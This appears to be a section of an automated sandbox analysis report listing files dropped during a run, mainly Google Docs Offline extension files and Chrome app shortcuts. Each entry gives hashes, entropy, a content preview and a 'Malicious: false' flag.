Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 21:24:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9808901626412534
Encrypted:	false
SSDEEP:	48:82kd0cTUAnbHiidAKZdA19ehwiZUklqeh1y+3:8icQ0Uyy
MD5:	5A883F80BFA54A488CB1C285476BF83C
SHA1:	2600F41D6A836946EFC8CC7E177667475A9D6FB4
SHA-256:	225F658443F2288290AF428FCABCA08E0F32ACA92BA9DE8B621E08D27640E776
SHA-512:	3878F19F46807D364EBA4C02F3DE69BB3ED62BC949CE18062BF8F00FFFE2F2E59E8B58CA143F924F2923DEBD8CEB675129DC56D23056F8A6C1F5D25F88DD0CBE
Malicious:	false
Preview:	L..................F.@.. ...$+.,......w..>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 21:24:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9929803555132493
Encrypted:	false
SSDEEP:	48:8ajd0cTUAnbHiidAKZdA1weh/iZUkAQkqehiy+2:8aKcQ0m9Qvy
MD5:	21C9B3553589CDAD4E14E20E006BB70B
SHA1:	D6DD7DACE6031050770596B7CA00DA49E0D29582
SHA-256:	0C8A0D4599AE24119DE85F67BBF3A3E3EF7F0F0F24AF43B2E56D49CDEA766F30
SHA-512:	1074164A3BAF44219D6F27965D50010159D4D7B88CC8E8B07245F20668A1199EDFDE0EF85EBC984FC6A56DA27DA4ADDDB3536D3CC456592B5F1373D93B845451
Malicious:	false
Preview:	L..................F.@.. ...$+.,....M.k..>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006274920262955
Encrypted:	false
SSDEEP:	48:8xwd0cTUAnsHiidAKZdA14tseh7sFiZUkmgqeh7s8y+BX:8xvcQ0vney
MD5:	3EDD36020999E85A8B4A7AA390FD0CF0
SHA1:	A02AD12E33840468F12254438C0FD61CF389FCD6
SHA-256:	839AC9239976482D4DEDB18604A3F21208AF783B2111ECEF67CE94286DD03A46
SHA-512:	6016BE243FF2035DB6D27B39C9B37432007D26DFF2FF9449CF1217B347AD057A802772CD359821E833ECB3AF75F85154F0250DD28C449EAFC20F4D479D02ABB1
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 21:24:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.991546597065008
Encrypted:	false
SSDEEP:	48:8Fd0cTUAnbHiidAKZdA1vehDiZUkwqehWy+R:8ccQ0tUy
MD5:	5F9D4B7D9FA0E324117DE29421FEC6B6
SHA1:	8FD8E63E399FE6FFD83065A8864A26BFECCFAFC6
SHA-256:	4D7053C458829E05307CDD73229D077842188D1BE5688EC5FEE449360CBAB5E2
SHA-512:	B4393925E67F90B7FC2F8D52194B1B0EB9F356E1C1DB2E8B628A22A201767F76FAEC5CC1D7935530A3669348C3BA6A19F95027FA1AB9AFC5DD6A5556B26F08BF
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....+g..>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 21:24:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9803070595807633
Encrypted:	false
SSDEEP:	48:8Yd0cTUAnbHiidAKZdA1hehBiZUk1W1qehYy+C:8ncQ0t94y
MD5:	4256BE0EBD25E7B87A6EB9A7D534F31A
SHA1:	03869BFD1A9124261D72B35E90C9E169E937616B
SHA-256:	8723B747CF6A4582BDEEC63D0E7F3E76EC75FD281D77D0AB767FEC52CC4847AA
SHA-512:	36B2F4364F2C2FA7AFB83699AB989E0333BBEB757B7450A18D316D3AE8ED4BE74BE2DBB3BAF791E14183C57CE664BC14766942F0FF89A612A1490361092462F3
Malicious:	false
Preview:	L..................F.@.. ...$+.,....O.p..>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 21:24:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.992334024804775
Encrypted:	false
SSDEEP:	48:8rd0cTUAnbHiidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbey+yT+:8icQ0xT/TbxWOvTbey7T
MD5:	BDF3A52CE28EBBB6D2E2E2EED8542D27
SHA1:	AD7B5403BB2A22022D79D53D1AB5891DDB1AD686
SHA-256:	7AA841590CE6BCB7D52DC0E94DDC6F1F9147D4495C483ABE5D0B0934528992C9
SHA-512:	9626178ADA910D701633853407D87AFAAAD8C1289B23466CD52612040DE9716003B221EB1115AF88BDD79BC3B96D1A521A314E3AA24BE032F8C1042E43F4E97A
Malicious:	false
